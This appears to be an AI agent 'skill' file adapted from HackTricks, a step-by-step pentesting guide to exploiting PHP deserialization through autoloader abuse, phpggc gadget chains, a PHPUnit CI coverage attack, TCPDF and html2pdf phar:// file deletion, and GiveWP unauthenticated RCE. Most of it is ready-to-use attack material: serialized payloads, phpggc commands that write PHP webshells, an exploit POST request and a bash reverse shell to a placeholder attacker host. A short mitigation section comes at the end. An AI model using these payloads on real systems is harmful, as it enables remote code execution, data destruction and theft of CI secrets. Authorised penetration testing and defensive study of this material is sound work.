Hacktricks-skills php-deserialization-pentest

PHP deserialization exploitation for pentesting. Use this skill whenever you need to exploit PHP deserialization vulnerabilities, including spl_autoload_register abuse, phpggc gadget chains, PHPUnit PHPT coverage attacks, TCPDF POP chains, html2pdf phar:// exploitation, or GiveWP unauthenticated RCE. Trigger this skill for any PHP deserialization testing, gadget chain construction, or when analyzing PHP applications for unsafe unserialize() calls.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/php-deserialization-+-autoload-classes/SKILL.MD
source content

PHP Deserialization Pentesting

A comprehensive guide to exploiting PHP deserialization vulnerabilities in web applications and CI/CD pipelines.

Quick Reference

Attack VectorPrerequisitesImpact
spl_autoload_register + LFIDeserialization + custom autoloaderRCE via file loading
PHPUnit PHPT CoverageCI/CD with phpunit < 8.5.52/9.6.34/10.5.63/11.5.50/12.5.8RCE in CI container
TCPDF __destructTCPDF loaded + unserialize()Arbitrary file deletion
html2pdf phar://html2pdf ≤5.3.0 + PHP < 8.0File deletion via phar metadata
GiveWP <3.14.2GiveWP plugin + Stripe/Faker depsUnauthenticated RCE

1. spl_autoload_register + LFI/Gadget Chain

When to Use

  • You found PHP deserialization but no gadgets in the current app
  • Another vulnerable app shares the same container with exploitable libraries
  • The target uses
    spl_autoload_register
    with path transformation logic

Attack Flow

  1. Identify the autoloader pattern

    // Common pattern: underscores → slashes
    spl_autoload_register(function ($name) {
        if (preg_match('/_/', $name)) {
            $name = preg_replace('/_/', '/', $name);
        }
        $filename = "/${name}.php";
        if (file_exists($filename)) {
            require $filename;
        }
    });
    
  2. Load external composer autoload

    • Class name becomes file path:
      www_frontend_vendor_autoload
      /www/frontend/vendor/autoload.php
    • Payload:
      O:28:"www_frontend_vendor_autoload":0:{}
  3. Generate phpggc payload for the external library

    phpggc Guzzle FW1 /tmp/a.php "<?php system('YOUR_COMMAND'); ?>" -o
    
  4. Combine into single serialized array

    a:2:{
      s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
      s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
    }
    
  5. Add LFI loader for the created file

    a:3:{
      s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
      s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
      s:6:"Extra3";O:5:"tmp_a":0:{}
    }
    

Important Notes

  • Private properties may be dropped: If gadget attributes arrive empty, edit the
    chain.php
    to make properties
    public
  • May require two requests: First creates the file, second loads it
  • File upload shortcut: If you can upload
    .php
    files, abuse the autoloader directly for RCE

2. PHPUnit PHPT Coverage Deserialization (CI/CD)

When to Use

  • Target uses PHPUnit with PHPT coverage
  • You can contribute test files to the repository
  • PHPUnit version < 8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8 (CVE-2026-24765)

Attack Flow

  1. Create malicious coverage file

    <?php
    $payload = file_get_contents('php://stdin'); // phpggc serialized gadget
    file_put_contents('exploit.coverage', $payload);
    
  2. Place in repository alongside a PHPT test file

  3. Submit PR - CI executes

    phpunit --configuration phpunit.xml

  4. PHPT runner deserializes the coverage file → RCE in CI container

Impact

  • RCE inside CI/CD runner
  • Access to mounted secrets (cloud creds, deployment keys)
  • No web access required

3. TCPDF __destruct POP Chain

When to Use

  • Application uses TCPDF and calls
    unserialize()
    on user input
  • TCPDF version < 6.9.3 (older versions have weaker path checks)
  • Goal: arbitrary file deletion

Payload Structure

a:1:{
  s:4:"html";
  O:5:"TCPDF":2:{
    s:7:"file_id";i:-1;
    s:9:"imagekeys";a:1:{
      i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";
    }
  }
}

How It Works

  1. TCPDF
    __destruct()
    calls
    _destroy(true)
  2. Iterates over
    $this->imagekeys
  3. unlink()
    s paths under
    K_PATH_CACHE
  4. Path traversal bypasses restrictions

Triggering via phar:// in html2pdf

Prerequisites: html2pdf ≤5.3.0, PHP < 8.0

  1. Create Phar archive

    # Use scripts/create-phar-payload.py
    python scripts/create-phar-payload.py \
      --metadata "<serialized TCPDF payload>" \
      --output archive.png
    
  2. Upload/place the file (e.g.,

    /tmp/user_files/user_1/archive.png
    )

  3. Submit HTML with CERT tag

    <cert src="phar:///tmp/user_files/user_1/archive.png"
          privkey="phar:///tmp/user_files/user_1/archive.png" />
    
  4. html2pdf calls

    file_exists()
    → deserializes Phar metadata → TCPDF destructor runs

4. GiveWP Unauthenticated RCE (CVE-2024-5932)

When to Use

  • WordPress site with GiveWP plugin < 3.14.2
  • Donation forms accessible without authentication
  • Stripe and Faker dependencies present

Attack Flow

  1. Generate payload using phpggc or PoC

    uv run CVE-2024-5932-rce.py -u "<form_url>" -c "<command>"
    
  2. POST to donation endpoint

    POST /donations/<slug>/ HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=<serialized_payload>
    
  3. Use blind RCE techniques

    • Reverse shell:
      bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
    • Callback payloads for output exfiltration
    • File deletion via
      unlink
      sink

Chain Components

  • Stripe\StripeObject
    - base object
  • Give\Vendors\Faker\ValidGenerator
    - validator sink
  • Give\Onboarding\SettingsRepository
    - command storage
  • Sink:
    shell_exec
    or
    unlink

5. Finding and Testing Deserialization

Detection Patterns

// Direct unserialize
unserialize($_GET['data']);
unserialize(file_get_contents('php://input'));

// Indirect via session
session_start(); // with user-controlled session data

// Via file includes
include($_POST['file']); // with serialized content

// Via phar:// streams
file_exists('phar://' . $_GET['file']);

Testing Checklist

  • Identify unserialize() calls in codebase
  • Check for custom
    __wakeup()
    or
    __destruct()
    methods
  • Map available classes and their magic methods
  • Search phpggc for compatible gadgets:
    phpggc -l | grep -E "<library>"
  • Test with simple payloads first:
    O:1:"stdClass":0:{}
  • Check for output filters or error suppression

phpggc Quick Commands

# List all available gadgets
phpggc -l

# Search for specific library
phpggc -l | grep -E "Guzzle|Monolog|Drupal|WordPress"

# Generate payload
phpggc <Gadget> <Function> <Argument> -o

# Generate with custom output
phpggc Guzzle FW1 /tmp/shell.php "<?php system('id'); ?>" -o

6. Payload Construction Tips

Private Property Issue

When mixing gadgets across applications, private properties may be dropped during deserialization if class definitions differ.

Solution: Edit the gadget's

chain.php
to make properties
public
:

// Before
private $filename;

// After
public $filename;

Multi-Object Arrays

Combine multiple objects in one serialized array for complex chains:

a:3:{
  s:5:"obj1";O:28:"ClassLoader":0:{}
  s:5:"obj2";O:31:"GadgetObject":4:{...}
  s:5:"obj3";O:5:"Loader":0:{}
}

Base64 Encoding

For command injection in file creation:

<?php system('echo <base64_command> | base64 -d | bash'); ?>

7. Mitigation Recommendations

For Developers

  • Never call
    unserialize()
    on user input
  • Use
    json_decode()
    for structured data
  • Implement strict type checking
  • Keep dependencies updated (check phpggc for known gadgets)
  • Use PHP 8.0+ (phar:// stream restrictions)

For Security Teams

  • Monitor for
    unserialize()
    in code reviews
  • Scan dependencies with phpggc compatibility checks
  • Test CI/CD pipelines for coverage file handling
  • Review file upload and phar:// stream usage

8. References

Scripts

Use the bundled scripts for common tasks:

  • scripts/generate-payload.py
    - Generate phpggc payloads with custom options
  • scripts/create-phar-payload.py
    - Create Phar archives with serialized metadata
  • scripts/find-unserialize.py
    - Scan codebase for unsafe unserialize() calls

Run with

--help
for usage details.